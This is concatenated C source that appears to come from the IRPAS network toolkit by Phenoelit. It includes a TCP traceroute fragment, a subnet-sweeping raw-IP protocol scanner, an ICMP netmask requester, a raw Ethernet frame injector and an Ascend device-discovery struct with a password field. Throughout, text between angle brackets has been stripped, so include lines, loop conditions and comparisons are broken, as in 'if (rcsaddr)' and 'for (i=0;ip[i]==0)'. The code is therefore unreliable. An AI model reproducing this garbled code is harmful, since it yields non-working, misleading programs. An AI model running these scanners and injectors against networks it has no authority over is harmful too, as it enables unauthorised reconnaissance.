sizeof(iphdr_t)+sizeof(icmphdr_t)+4); tcp2=(tcphdr_t *)(tpacket+ 2*sizeof(iphdr_t)+sizeof(icmphdr_t)+4); /* make sure it was our packet */ if (!( (ip2->protocol==IPPROTO_TCP) && (ip2->id==htons(TTL)) && (!memcmp(&(ip2->saddr.s_addr), &(packet_ifconfig.ip.s_addr),IP_ADDR_LEN)) && (!memcmp(&(ip2->daddr.s_addr),&(cfg.dest), IP_ADDR_LEN)) && (tcp2->th_dport==htons(cfg.port)) && (tcp2->th_sport==htons(cfg.sport)) && (tcp2->th_seq==tseq) )) { if (cfg.verbose>1) { printf("Not in response of probe:\n"); printf("\t%s->",inet_ntoa(ip2->saddr)); printf("%s\n",inet_ntoa(ip2->daddr)); } continue; } } else { if (cfg.verbose) { printf("ICMP packet to small to carry" " original IP header\n"); printf("Should be %d, is %d\n", 2*sizeof(iphdr_t)+sizeof(icmphdr_t)+4, rc); } } /* reverse lookup */ if ( (cfg.reverse) && ((hr=gethostbyaddr((char *)&(from.sin_addr), IP_ADDR_LEN,AF_INET))!=NULL)) { name=(char *)smalloc(strlen(hr->h_name)+ strlen(inet_ntoa(from.sin_addr))+4); strcpy(name,hr->h_name); strcat(name," ["); strcat(name,inet_ntoa(from.sin_addr)); strcat(name,"]"); } else { name=(char *)smalloc( strlen(inet_ntoa(from.sin_addr))+4); strcat(name,"["); strcat(name,inet_ntoa(from.sin_addr)); strcat(name,"]"); } if (icmp->type==ICMP_TIME_EXCEEDED) { if (memcmp(&(last.s_addr), &(ip->saddr.s_addr),IP_ADDR_LEN)) { memcpy(&(last.s_addr),&(ip->saddr.s_addr), IP_ADDR_LEN); } else { break; //continue; } printf("%2d(%d)\t%s\n",TTL,i+1,name); allrespond=respond=1; break; } else if (icmp->type==ICMP_DEST_UNREACH) { if ((icmp->code==ICMP_UNREACH_FIREWALL) || (icmp->code==ICMP_UNREACH_ADMIN1)) printf("%2d(%d)\t%s (firewalled)\n",TTL,i+1,name); else printf("%2d(%d)\t%s (unreachable)\n",TTL,i+1,name); allrespond=respond=reached=1; break; } free(name); } memset(tpacket,0,psize); if ((rc=recvfrom(tcfd,(u_char *)tpacket,psize,0, (struct sockaddr *)&from, &addrsize))>=sizeof(tcphdr_t)+sizeof(iphdr_t)) { struct hostent *hr; char *name; if (rcsaddr),&(cfg.dest),IP_ADDR_LEN)) && (!memcmp(&(from.sin_addr.s_addr), &(cfg.dest),IP_ADDR_LEN)) && (!memcmp(&(ip->daddr), &(packet_ifconfig.ip.s_addr),IP_ADDR_LEN)) && (ip->protocol==IPPROTO_TCP) ){ if ( ( (ntohl(tcp->th_ack)!=ntohl(tseq)+1) &&(ntohl(tcp->th_ack)!=ntohl(tseq)) ) || (tcp->th_dport!=htons(cfg.sport)) || (tcp->th_sport!=htons(cfg.port)) ){ /* SEQ+1 not in ACK - not a response to our probe*/ // printf("PS."); fflush(stdout); continue; } if (memcmp(&(last.s_addr), &(ip->saddr.s_addr),IP_ADDR_LEN)) { memcpy(&(last.s_addr), &(ip->saddr.s_addr),IP_ADDR_LEN); } else { break; /* not a response to our probe*/ // continue; } /* reverse lookup */ if ( (cfg.reverse) && ((hr=gethostbyaddr((char *)&(from.sin_addr), IP_ADDR_LEN,AF_INET))!=NULL)) { name=(char *)smalloc(strlen(hr->h_name)+ strlen(inet_ntoa(from.sin_addr))+4); strcpy(name,hr->h_name); strcat(name," ["); strcat(name,inet_ntoa(from.sin_addr)); strcat(name,"]"); } else { name=(char *)smalloc( strlen(inet_ntoa(from.sin_addr))+4); strcat(name,"["); strcat(name,inet_ntoa(from.sin_addr)); strcat(name,"]"); } if (tcp->th_flags & TH_RST) { printf("%2d(%d)\t%s (reached; closed)\n", TTL,i+1,name); allrespond=respond=reached=1; break; } else if ( (tcp->th_flags & TH_SYN) && (tcp->th_flags & TH_ACK) ) { printf("%2d(%d)\t%s (reached; open)\n", TTL,i+1,name); allrespond=respond=reached=1; break; } else { printf("%2d(%d)\t%s (reached) -- Strange Flags!\n", TTL,i+1,name); allrespond=respond=reached=1; break; } free(name); } } /* end of tcp */ nanosleep(&sleeper,NULL); } if (!respond) { if (cfg.verbose) printf("%2d(%d)\tTimeout\n",TTL,i+1); } if (reached||respond) break; free(tpacket); } /* end of probe for() loop */ if (!allrespond) printf("%d(all)\tTimeout\n",TTL); TTL++; } close(sfd); close(rfd); close(tcfd); return 0; } irpas-0.10/protos.c0100644000175000017500000004520707364600755012445 0ustar vlmvlm/* protos - Protocol availability scanner * * FX * Phenoelit (http://www.phenoelit.de) * * $Id: protos.c,v 1.15 2001/10/18 12:02:58 fx Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "protocols.h" #include "packets.h" #include "protocol-numbers.h" /* * moved into protocol-numbers.h, which in turn is generated from * ftp://ftp.isi.edu/in-notes/iana/assignments/protocol-numbers * becuse IANA thinks it's fun to add proto numbers all nose long * typedef struct proto_t { int number; char *keyword; char *name; } Protocols; */ typedef struct { struct in_addr addr; int p[256]; void *next; } target_t; struct { int verbose; int dontping; int afterscan; int invert; int probes; int slowscan; int sleeptime; int longdisp; char *device; char *dest; } cfg; /* globals */ #define PADDING 128 #define DEFAULTPROBES 5 #define DEFAULTSLEEP 1 #define DEFAULTAFTER 3 #define DEFAULTSLOW 0 #define DEFAULTINVERT 1 #define IP_ID 0xAFFA #define PING_TIMEOUT 5 target_t *anchor; sig_atomic_t stop_flag=0; /* prototypes */ int create_target_list(void); int is_there(struct in_addr *t); int print_targets(void); int scan_list(void); int recv_icmp(pid_t pid); void signaler(int sig); void usage(void); int main(int argc, char **argv) { char option; extern char *optarg; pid_t scanpid; int retcode,i; target_t *res; memset(&cfg,0,sizeof(cfg)); cfg.probes=DEFAULTPROBES; cfg.sleeptime=DEFAULTSLEEP; cfg.afterscan=DEFAULTAFTER; cfg.slowscan=DEFAULTSLOW; cfg.invert=DEFAULTINVERT; while ((option=getopt(argc,argv,"vVusLWd:i:p:S:"))!=EOF) { switch(option) { case 'v': cfg.verbose++; break; case 'V': cfg.invert=0; break; case 'u': cfg.dontping++; break; case 's': cfg.slowscan=1; break; case 'L': cfg.longdisp++; break; case 'p': if ((cfg.probes=atoi(optarg))==0) { printf("Probes reverted to default\n"); cfg.probes=DEFAULTPROBES; } break; case 'S': if ((cfg.sleeptime=atoi(optarg))==0) { fprintf(stderr,"Sleeptime reverted to default\n"); cfg.sleeptime=DEFAULTSLEEP; } break; case 'a': cfg.afterscan=atoi(optarg); break; case 'd': cfg.dest=smalloc(strlen(optarg)+1); strcpy(cfg.dest,optarg); break; case 'i': cfg.device=smalloc(strlen(optarg)+1); strcpy(cfg.device,optarg); break; case 'W': /* print protocol list and exit */ for (i=0;i1) printf("Spawn child %d\n",scanpid); retcode=recv_icmp(scanpid); if (retcode<0) { fprintf(stderr,"Killing child %d due error in receiver\n",scanpid); kill(scanpid,SIGTERM); } else if (retcode==1) { fprintf(stderr,"Killing child %d due CTRL-C break\n",scanpid); kill(scanpid,SIGTERM); } } if (retcode==0) { printf(">>>>>>>>> RESULTS >>>>>>>>>>\n"); while (anchor!=NULL) { int chk; chk=0; if (!cfg.invert) { /* normal operation - NOT display */ printf("\n%s is NOT running (but may be capable of):\n", inet_ntoa(anchor->addr)); if (!cfg.longdisp) printf("\t"); for (i=0;ip[i]==0) { if (cfg.longdisp) printf("%-13s\t%s\n",prts[i].keyword,prts[i].name); else printf("%s ",prts[i].keyword); chk++; } else if (anchor->p[i]==2) { if (cfg.longdisp) printf("%-13s\t%s (filtered)\n",prts[i].keyword, prts[i].name); else printf("(F) %s ",prts[i].keyword); chk++; } } if (chk) printf("\n"); else printf("\t... does not even care to send ICMP unreachable" " messages ...\n"); } else { /* invert operation, show what's supported */ printf("\n%s may be running (did not negate):\n", inet_ntoa(anchor->addr)); for (i=0;ip[i]!=1) chk++; if (chk) { if (!cfg.longdisp) printf("\t"); for (i=0;ip[i]==1) { if (cfg.longdisp) printf("%-13s\t%s\n",prts[i].keyword, prts[i].name); else printf("%s ",prts[i].keyword); chk++; } } printf("\n"); } else printf("\t... does not even care to send ICMP unreachable" " messages ...\n"); } res=anchor; anchor=anchor->next; free(res); } } return (0); } int recv_icmp(pid_t pid) { int rfd; u_char *response; int rlength,i,addrsize; iphdr_t *ip2; icmphdr_t *icmp; target_t *tgt; struct sockaddr_in from; int pidstat,foundflag; int cdone=0,normalend=0; long int t1; if ((rfd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) { perror("socket()"); return(-1); } i=O_NONBLOCK|fcntl(rfd,F_GETFL); fcntl(rfd,F_SETFL,i); if (cfg.verbose>2) printf("waiting for the child to become alive\n"); do { usleep(10); } while (waitpid(pid,&pidstat,WNOHANG)>0); if (cfg.verbose>2) printf("child is alive, starting to listen for ICMP\n"); do { memset(&from,0,sizeof(struct sockaddr_in)); addrsize=sizeof(struct sockaddr_in); rlength=PADDING+2*sizeof(iphdr_t)+sizeof(icmphdr_t)+4; response=smalloc(rlength); if (recvfrom(rfd,(u_char *)response,rlength,0, (struct sockaddr *)&from, &addrsize)>0) { icmp=(icmphdr_t *)(response+sizeof(iphdr_t)); /* check if it is unreachable message */ if (icmp->type==ICMP_DEST_UNREACH) { /* oh.. good. */ if (icmp->code==ICMP_UNREACH_PROTO) { if (cfg.verbose>2) printf("%s reports an unreachable protocol\n", inet_ntoa(from.sin_addr)); ip2=(iphdr_t *)(response+sizeof(iphdr_t) +sizeof(icmphdr_t)+4); if (cfg.verbose>1) printf("%s reports protocol %d unreachable\n", inet_ntoa(from.sin_addr),ip2->protocol); /* search target in list and update record */ tgt=anchor; foundflag=0; while(tgt!=NULL) { if (!memcmp(&(tgt->addr),&(from.sin_addr), IP_ADDR_LEN)) { foundflag=1; tgt->p[ip2->protocol]=0; break; } tgt=tgt->next; } if (!foundflag) { if (cfg.verbose>2) { printf("Strange response from %s" " regarding packet\n", inet_ntoa(from.sin_addr)); printf("\t%d.%d.%d.%d->%d.%d.%d.%d (proto %d)\n", *((u_int8_t *)&(ip2->saddr)), *((u_int8_t *)&(ip2->saddr)+1), *((u_int8_t *)&(ip2->saddr)+2), *((u_int8_t *)&(ip2->saddr)+3), *((u_int8_t *)&(ip2->daddr)), *((u_int8_t *)&(ip2->daddr)+1), *((u_int8_t *)&(ip2->daddr)+2), *((u_int8_t *)&(ip2->daddr)+3), ip2->protocol); } /* it is a multihomes box which replys with the wrong * interface - add anyway */ memcpy(&(from.sin_addr.s_addr), &(ip2->daddr.s_addr),IP_ADDR_LEN); tgt=anchor; foundflag=0; while(tgt!=NULL) { if (!memcmp(&(tgt->addr),&(from.sin_addr), IP_ADDR_LEN)) { foundflag=1; tgt->p[ip2->protocol]=0; } tgt=tgt->next; } if ((!foundflag)&&(cfg.verbose>2)) printf("reponse from %s is not related" " to a probe\n", inet_ntoa(from.sin_addr)); } } /* is unreachable protocol */ else if ( (icmp->code==ICMP_UNREACH_FIREWALL)) { if (cfg.verbose>2) printf("%s reports an firewalled protocol\n", inet_ntoa(from.sin_addr)); ip2=(iphdr_t *)(response+sizeof(iphdr_t) +sizeof(icmphdr_t)+4); if (cfg.verbose>1) printf("%s reports protocol %d firewalled\n", inet_ntoa(from.sin_addr),ip2->protocol); /* search target in list and update record */ tgt=anchor; foundflag=0; while(tgt!=NULL) { if (!memcmp(&(tgt->addr),&(from.sin_addr), IP_ADDR_LEN)) { foundflag=1; tgt->p[ip2->protocol]=2; } tgt=tgt->next; } if (!foundflag) { if (cfg.verbose>2) { printf("Strange response from %s" " regarding packet\n", inet_ntoa(from.sin_addr)); printf("\t%d.%d.%d.%d->%d.%d.%d.%d (proto %d)\n", *((u_int8_t *)&(ip2->saddr)), *((u_int8_t *)&(ip2->saddr)+1), *((u_int8_t *)&(ip2->saddr)+2), *((u_int8_t *)&(ip2->saddr)+3), *((u_int8_t *)&(ip2->daddr)), *((u_int8_t *)&(ip2->daddr)+1), *((u_int8_t *)&(ip2->daddr)+2), *((u_int8_t *)&(ip2->daddr)+3), ip2->protocol); } /* it is a multihomes box which replys with the wrong * interface - add anyway */ memcpy(&(from.sin_addr.s_addr), &(ip2->daddr.s_addr),IP_ADDR_LEN); tgt=anchor; foundflag=0; while(tgt!=NULL) { if (!memcmp(&(tgt->addr),&(from.sin_addr), IP_ADDR_LEN)) { foundflag=1; tgt->p[ip2->protocol]=2; } tgt=tgt->next; } if ((!foundflag)&&(cfg.verbose>2)) printf("reponse from %s is not related" " to a probe\n", inet_ntoa(from.sin_addr)); } } /* is firewalled protocol */ else if ( (icmp->code==ICMP_UNREACH_PORT)) { if (cfg.verbose) { ip2=(iphdr_t *)(response+sizeof(iphdr_t) +sizeof(icmphdr_t)+4); printf("Port unreachable - therefore protocol" " %s is running\n", prts[ip2->protocol].keyword); } } else if ((icmp->code==ICMP_UNREACH_HOST)&& (memcmp(&(from.sin_addr),&(packet_ifconfig.ip),4)!=0)){ ip2=(iphdr_t *)(response+sizeof(iphdr_t) +sizeof(icmphdr_t)+4); printf("%s reports host unreachable for ", inet_ntoa(from.sin_addr)); printf("%d.%d.%d.%d\n", *((u_int8_t *)&(ip2->daddr)), *((u_int8_t *)&(ip2->daddr)+1), *((u_int8_t *)&(ip2->daddr)+2), *((u_int8_t *)&(ip2->daddr)+3)); } else if (icmp->code==ICMP_UNREACH_NET) { printf("Network unreachable: %s\n", inet_ntoa(from.sin_addr)); } else { printf("Unreachable code %d\n",icmp->code); } } /* general: unreachable */ } /* recvfrom*/ usleep(10); if (!cdone) { if (waitpid(pid,&pidstat,WNOHANG)!=0) { cdone=1; t1=(long int)time(NULL); } } else { if ((long int)time(NULL)>(t1+cfg.afterscan)) { normalend=1; } } } while ( (!normalend)&&(!stop_flag)); close(rfd); if (cfg.verbose>1) { if (!stop_flag) printf("Child is dead\n"); else printf("STOP flagged\n"); } if (stop_flag) return(1); return (0); } int scan_list() { int sfd; u_char *packet; int plength,i,j; iphdr_t *ip; target_t *tgt; /* initialize sockets ... */ if ((sfd=init_socket_IP4(cfg.device,0))<0) { fprintf(stderr,"Could not grab a socket\n"); return(-1); } /* pre-make IP packet */ packet=smalloc(sizeof(iphdr_t)+PADDING+1); plength=sizeof(iphdr_t)+PADDING; ip=(iphdr_t *)packet; ip->version=4; ip->ihl=sizeof(iphdr_t)/4; ip->tot_len=htons(plength); ip->ttl=60; ip->id=htons(IP_ID); memcpy(&(ip->saddr.s_addr),&(packet_ifconfig.ip.s_addr),IP_ADDR_LEN); /* for syncronisation */ sleep(1); tgt=anchor; while (tgt!=NULL) { if (cfg.verbose) printf("Scanning %s\n",inet_ntoa(tgt->addr)); /* scan all protocols */ for (i=0;i<=PROTOCOLS;i++) { if (cfg.verbose>2) printf("\tprotocol %s\n",prts[i].keyword); /* complete the IP packet */ ip->protocol=i; memcpy(&(ip->daddr.s_addr),&(tgt->addr),IP_ADDR_LEN); for (j=0;jnext; if (cfg.slowscan) { sleep(cfg.sleeptime*3); } else { sleep(1); } } close(sfd); if (cfg.verbose>1) printf("Child finished\n"); return (0); } int is_there(struct in_addr *t) { target_t *c; if ((c=anchor)==NULL) return 0; while (c!=NULL) { if (memcmp(&(c->addr),t,4)==0) return 1; c=c->next; } return 0; } int print_targets() { target_t *c; if ((c=anchor)==NULL) return 0; while (c!=NULL) { printf("TARGET\t%s\n",inet_ntoa(c->addr)); c=c->next; } return 0; } int create_target_list(void) { int sfd; target_t *current,*new; u_int32_t tnet,tnet2,l; char *tp,*tp2; struct in_addr n,m,mm; int i; unsigned long int t1; int ppp; #define PINGTIMEOUT 10 #define PING_ROUND 3 anchor=NULL; if (!strchr(cfg.dest,'/')) { if (inet_aton(cfg.dest,&n)==0) { fprintf(stderr,"%s seems to be a bad destination\n",cfg.dest); return (-1); } if (!cfg.dontping) { if (icmp_ping(&(n),PING_TIMEOUT,cfg.verbose)!=0) { fprintf(stderr,"single target not responding\n"); return (-1); } } /* this is just one */ anchor=smalloc(sizeof(target_t)); memcpy(&(anchor->addr),&(n),sizeof(struct in_addr)); for (i=0;ip[i]=1; } else { u_int32_t q = 0xFFFFFFFF; int lx1,lx2; /* multiple targets .... * first, we have to figure out where ... */ tp=smalloc(strlen(cfg.dest)+1); strcpy(tp,cfg.dest); tp2=strchr(tp,'/'); tp2[0]='\0'; tp2++; if (!strchr(tp2,'.')) { lx1=atoi(tp2); for (lx2=32;lx2>lx1;lx2--) q=q<<1; q=htonl(q); memcpy(&(m.s_addr),&q,4); if (cfg.verbose>2) printf("\tNetmask: %s\n",inet_ntoa(m)); } else { if (inet_aton(tp2,&m)==0) { fprintf(stderr,"%s seems to be a stange mask\n",tp2); return (-1); } } memcpy(&mm,&m,sizeof(m)); if (inet_aton(tp,&n)==0) { fprintf(stderr,"%s seems to be a stange network address\n",tp); return (-1); } /* calculate first and last address. */ tnet = ntohl( n.s_addr&m.s_addr ); tnet2= ntohl( (m.s_addr^0xFFFFFFFF)|n.s_addr ); /* show addresses we are going to scan */ if (cfg.verbose) { n.s_addr=htonl(tnet); m.s_addr=htonl(tnet2); printf("Scanning from %s ",inet_ntoa(n)); printf("to %s\n",inet_ntoa(m)); } /* add the records to the target list */ t1=(unsigned long int)time(NULL); ppp=0; l=tnet; current=NULL; if ((sfd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) { perror("socket()"); return(-1); } if (makebcast(sfd)!=0) return(-1); makenonblock(sfd); while ((!cfg.dontping)&& ((unsigned long int)time(NULL)<(t1+PINGTIMEOUT)) ) { struct sockaddr_in sin,fromaddr; u_char *tpacket; icmp_ping_t *pingh; int psize; u_int16_t pident; int rc,addrsize; psize=sizeof(icmp_ping_t); tpacket=(u_char *)smalloc(sizeof(icmp_ping_t)+64); pident=0xAF0D; /* make up the icmp header */ pingh=(icmp_ping_t *)tpacket; pingh->icmp.type=ICMP_ECHO; pingh->icmp.code=0; pingh->echo.identifier=htons(pident); pingh->icmp.checksum=chksum((u_char *)pingh,psize); memset(&sin,0,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; sin.sin_port=htons(0); if (ppptnet2) { l=tnet; ppp++; if (cfg.verbose>1) printf("ping round is at %d\n",ppp); } n.s_addr=htonl(l); usleep(10000); if (ppp=0) { pingh=(icmp_ping_t *)(tpacket+sizeof(iphdr_t)); if (pingh->icmp.type==ICMP_ECHOREPLY) { if (ntohs(pingh->echo.identifier)==pident) { /* normal response */ if (cfg.verbose>1) printf("%s respond ... good\n", inet_ntoa(fromaddr.sin_addr)); if ( /* same network check */ (n.s_addr&mm.s_addr)== (fromaddr.sin_addr.s_addr&mm.s_addr) ) { /* add the record of who respond */ if (is_there(&(fromaddr.sin_addr))==0) { new=current; current=smalloc(sizeof(target_t)); memcpy(&(current->addr),&(fromaddr.sin_addr), sizeof(struct in_addr)); for (i=0;ip[i]=1; if (new==NULL) { new=current; } else { new->next=current; } if (anchor==NULL) { anchor=current; } } /* is_there check */ } /* same network */ else { printf("echo reply from system" " outside range (%s)\n", inet_ntoa(fromaddr.sin_addr)); } /* not same network */ } /* ping ID */ } /* end of echo reply */ } /* end of packet found */ } /* while time */ close(sfd); } /* if more then one */ if (anchor==NULL) return(-1); return 0; } void signaler(int sig) { stop_flag=1; } void usage(void) { printf( "Usage: ./protos -i eth0 -d 10.1.2.3 -v\n" "-v verbose\n" "-V show which protocols are not supported\n" "-u don't ping targets first\n" "-s make the scan slow (for very remote devices)\n" "-L show the long protocol name and it's reference (RFC)\n" "-p x number of probes (default=5)\n" "-S x sleeptime is x (default=1)\n" "-a x continue scan afterwards for x seconds (default=3)\n" "-d dest destination (IP or IP/MASK)\n" "-i interface the eth0 stuff\n" "-W don't scan, just print the protocol list\n" ); exit(1); } irpas-0.10/netmask.c0100644000175000017500000001063407364600755012555 0ustar vlmvlm/* netmask - ICMP netmask requester * * FX * Phenoelit (http://www.phenoelit.de) * * $Id: netmask.c,v 1.3 2001/07/08 14:25:14 fx Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "protocols.h" #include "packets.h" void usage(char *n); struct { int verbose; struct in_addr dest; int timeout; char *tdest; } cfg; void usage(char *n) { fprintf(stderr, "Usage: %s -d -t \n" ,n); } int main(int argc, char **argv) { char option; extern char *optarg; int rfd; struct sockaddr_in to,from; u_char *tpacket; iphdr_t *ip; icmphdr_t *icmp; icmp_netmask_t *imask; int psize; u_int16_t cs; int rc,addrsize,respond=0; unsigned long start_t; struct timespec sleeper = { 0, 10}; #define BSIZE (sizeof(iphdr_t)+sizeof(icmphdr_t)+200) #define IDENT 0x0FF0 memset(&cfg,0,sizeof(cfg)); cfg.timeout=3; while ((option=getopt(argc,argv,"vd:t:"))!=EOF) { switch (option) { case 'v': /* verbose */ cfg.verbose++; break; case 'd': /* destination, first as text */ cfg.tdest=smalloc(strlen(optarg)+1); strcpy(cfg.tdest,optarg); break; case 't': if ((cfg.timeout=atoi(optarg))==0) { fprintf(stderr,"%s is an invalid timeout\n", optarg); return (1); } break; default: usage(argv[0]); return (1); } } /* check destination */ if (!cfg.tdest) { fprintf(stderr,"You should really supply a destination with -d\n"); return (1); } else { /* try as a normal IP address */ if (inet_aton(cfg.tdest,&(cfg.dest))==0) { /* ups, wasn't an IP - maybe a hostname */ struct hostent *hd; if ((hd=gethostbyname(cfg.tdest))==NULL) { fprintf(stderr,"Could not resolve destination host\n"); return (1); } else { bcopy(hd->h_addr,(char *)&(cfg.dest),hd->h_length); /* memcpy((u_int8_t*)&(cfg.dest), (u_int8_t*)&(hd->h_addr_list[0]),IP_ADDR_LEN); */ } } } if ((rfd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) { perror("socket(IPPROTO_ICMP)"); return (-1); } /* make the request packet */ psize=sizeof(icmphdr_t)+sizeof(icmp_netmask_t); tpacket=(u_char *)smalloc(psize+3); /* make ICMP mask request */ icmp=(icmphdr_t *)tpacket; icmp->type=ICMP_ADDRESS; imask=(icmp_netmask_t *)(tpacket+sizeof(icmphdr_t)); imask->identifier=htons(IDENT); /* make up checksum */ cs=chksum((u_char *)icmp,psize); icmp->checksum=cs; memset(&to,0,sizeof(struct sockaddr_in)); to.sin_family=AF_INET; to.sin_port=htons(0); memcpy(&(to.sin_addr),&(cfg.dest),sizeof(to.sin_addr)); if (sendto(rfd,tpacket,psize,0, (struct sockaddr *) &to, sizeof(struct sockaddr_in)) <0) { perror("sendto()"); return(-1); } rc= O_NONBLOCK | fcntl(rfd, F_GETFL); fcntl(rfd,F_SETFL,rc); /* make sure we have no junk in the mem */ memset(&from,0,sizeof(struct sockaddr_in)); addrsize=sizeof(struct sockaddr_in); start_t=(unsigned long)time(NULL); free(tpacket); tpacket=(u_char *)smalloc(BSIZE); psize=BSIZE; respond=0; while (start_t+cfg.timeout>=time(NULL)) { if ((rc=recvfrom(rfd,(u_char *)tpacket,psize,0, (struct sockaddr *)&from, &addrsize))>=0) { struct hostent *hr; char *name; ip=(iphdr_t *)tpacket; /* got an ICMP response */ icmp=(icmphdr_t *)(tpacket+sizeof(iphdr_t)); imask=(icmp_netmask_t *)(tpacket+sizeof(iphdr_t)+sizeof(icmphdr_t)); /* reverse lookup */ if ( (hr=gethostbyaddr((char *)&(from.sin_addr), IP_ADDR_LEN,AF_INET))!=NULL) { name=(char *)smalloc(strlen(hr->h_name)+ strlen(inet_ntoa(from.sin_addr))+4); strcpy(name,hr->h_name); strcat(name," ["); strcat(name,inet_ntoa(from.sin_addr)); strcat(name,"]"); } else { name=(char *)smalloc( strlen(inet_ntoa(from.sin_addr))+4); strcat(name,"["); strcat(name,inet_ntoa(from.sin_addr)); strcat(name,"]"); } if (icmp->type==ICMP_ADDRESSREPLY) { printf("%s\t%d.%d.%d.%d\n", name, imask->mask[0], imask->mask[1], imask->mask[2], imask->mask[3]); } } nanosleep(&sleeper,NULL); } free(tpacket); close(rfd); return 0; } irpas-0.10/file2cable.c0100644000175000017500000001120307364600755013074 0ustar vlmvlm/* frame sender * * FX * Phenoelit (http://www.phenoelit.de) * (c) 2k1 * * $Id: file2cable.c,v 1.3 2001/07/07 17:44:30 fx Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "protocols.h" #include "packets.h" struct { char *device; int verbose; char *filename; } cfg; void usage(char *n); void hexdump(unsigned char *c,int len); void lamont_hdump(unsigned char *bp, unsigned int length); /* ******************* MAIN ******************** */ int main(int argc,char **argv) { char option; extern char *optarg; int atsock,fd; unsigned char *buffer; struct stat sbuf; /* for flooding */ memset(&cfg,0,sizeof(cfg)); while ((option=getopt(argc,argv,"vi:f:"))!=EOF) { switch (option) { /* general */ case 'v': cfg.verbose++; break; case 'i': cfg.device=(char *)smalloc(strlen(optarg)); strcpy(cfg.device,optarg); break; case 'f': cfg.filename=(char *)smalloc(strlen(optarg)); strcpy(cfg.filename,optarg); break; /* fallback */ default: usage(argv[0]); } } if (!(cfg.device&&cfg.filename)) usage(argv[0]); printf("file2cable - by FX \n" "\tThanx got to Lamont Granquist & fyodor" " for their hexdump()\n"); if (stat(cfg.filename,&sbuf)!=0) { perror("stat()"); exit (1); } else { if (cfg.verbose) printf("%s - %ld bytes raw data\n",cfg.filename,sbuf.st_size); buffer=(unsigned char *)smalloc(sbuf.st_size); if ((fd=open(cfg.filename,O_RDONLY))<0) { perror("open()"); exit (1); } read(fd,buffer,sbuf.st_size); close(fd); } if (cfg.verbose) { lamont_hdump(buffer,sbuf.st_size); printf("Packet length: %d\n",(int)sbuf.st_size); } if ((atsock=init_socket_eth(cfg.device))<=0) exit(1); sendpack_eth(cfg.device,atsock,buffer,sbuf.st_size); close(atsock); return 0; } void hexdump(unsigned char *c,int len) { /* stolen from tcpdump, then kludged extensively by fyodor, then stolen * by me from nmap's util.c */ static const char asciify[] = "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~................................................................................................................................."; int i; i=0; while (i++?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~................................................................................................................................."; register const u_short *sp; register const u_char *ap; register u_int i, j; register int nshorts, nshorts2; register int padding; printf("\n\t"); padding = 0; sp = (u_short *)bp; ap = (u_char *)bp; nshorts = (u_int) length / sizeof(u_short); nshorts2 = (u_int) length / sizeof(u_short); i = 0; j = 0; while(1) { while (--nshorts >= 0) { printf(" %04x", ntohs(*sp)); sp++; if ((++i % 8) == 0) break; } if (nshorts < 0) { if ((length & 1) && (((i-1) % 8) != 0)) { printf(" %02x ", *(u_char *)sp); padding++; } nshorts = (8 - (nshorts2 - nshorts)); while(--nshorts >= 0) { printf(" "); } if (!padding) printf(" "); } printf(" "); while (--nshorts2 >= 0) { printf("%c%c", asciify[*ap], asciify[*(ap+1)]); ap += 2; if ((++j % 8) == 0) { printf("\n\t"); break; } } if (nshorts2 < 0) { if ((length & 1) && (((j-1) % 8) != 0)) { printf("%c", asciify[*ap]); } break; } } if ((length & 1) && (((i-1) % 8) == 0)) { printf(" %02x", *(u_char *)sp); printf(" %c", asciify[*ap]); } printf("\n"); } void usage(char *n) { printf( "%s [-v] -i -f \n", n); exit(0); } irpas-0.10/netenum.c0100644000175000017500000000102307277255651012562 0ustar vlmvlm#include #include #include "enum.h" int main(int argc,char **argv) { int n=0; if (argc>1) { if ((n=enumerate(argv[1], argc>2?atoi(argv[2]):0, argc>3?atoi(argv[3]):0))<0) { printf("error in enumerate\n"); } else { if ((argc>3)&&(atoi(argv[3])>0)) printf("%d targets found\n",n); enum_print(); } } else { fprintf(stderr,"Netenum\n%s [timeout] [verbosity]\n" "if timeout is >0, pings are used to enum\n", argv[0]); } enum_free(); return n; } irpas-0.10/dfkaa.c0100644000175000017500000003535607364601652012166 0ustar vlmvlm/* DFKAA * Devices Formerly Known As Ascend * * FX * Phenoelit (http://www.phenoelit.de/) * * $Id: dfkaa.c,v 1.22 2001/10/21 17:19:33 fx Exp fx $ * * This is the Trans-Atlantic part of IRPAS. Written 11300 meters * above the atlantic ocean, on the way from San Francisco to the * Phenoelit Solarophob Lab home in Germany at a speed of 950 km/h. * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include typedef struct { u_int8_t protover[2] __attribute__ ((packed)); /* ? - but good guess */ u_int8_t magic[4] __attribute__ ((packed)); /* magic number the NavisConnect tool sends out and the pipe copies 07 a2 08 12 */ u_int8_t ipaddr[4] __attribute__ ((packed)); u_int8_t netmask[4] __attribute__ ((packed)); u_int8_t serial[4] __attribute__ ((packed)); u_int8_t macaddr[6] __attribute__ ((packed)); u_int8_t group __attribute__ ((packed)); /* 0 = Unknown 1 = Multiband 2 = Max 3 = Pipeline */ u_int8_t devtype __attribute__ ((packed)); u_int8_t flag __attribute__ ((packed)); u_int8_t name[16] __attribute__ ((packed)); u_int8_t sep1[1] __attribute__ ((packed)); u_int8_t password[20] __attribute__ ((packed)); u_int8_t sep2[1] __attribute__ ((packed)); u_int8_t unknown[1] __attribute__ ((packed)); u_int16_t feature1 __attribute__ ((packed)); u_int16_t feature2 __attribute__ ((packed)); u_int16_t feature3 __attribute__ ((packed)); u_int16_t feature4 __attribute__ ((packed)); /* Features are (with some knowledge where to apply these ...) * A) MRATE = 128 * X21 = 32 * V24BIS = 16 * RS366 = 8 * Dynamic = 2 * NBY = 1 * C) R2_SIGNALING = 128 * DATACALL = 32 * DUAL_SLOT_T1 = 16 * MODEM_TSDIALOUT = 4 * SERIAL_PORT_T1_CSU = 1 * * don't know where these apply * IPSEC_UNKNOWN = -1; * IPSEC_NOTINST = 0; * IPSEC_AUTHONLY = 1; * IPSEC_40BIT = 2; * IPSEC_56BIT = 3; * IPSEC_UNLIMITED = 4; * */ } adp_t; 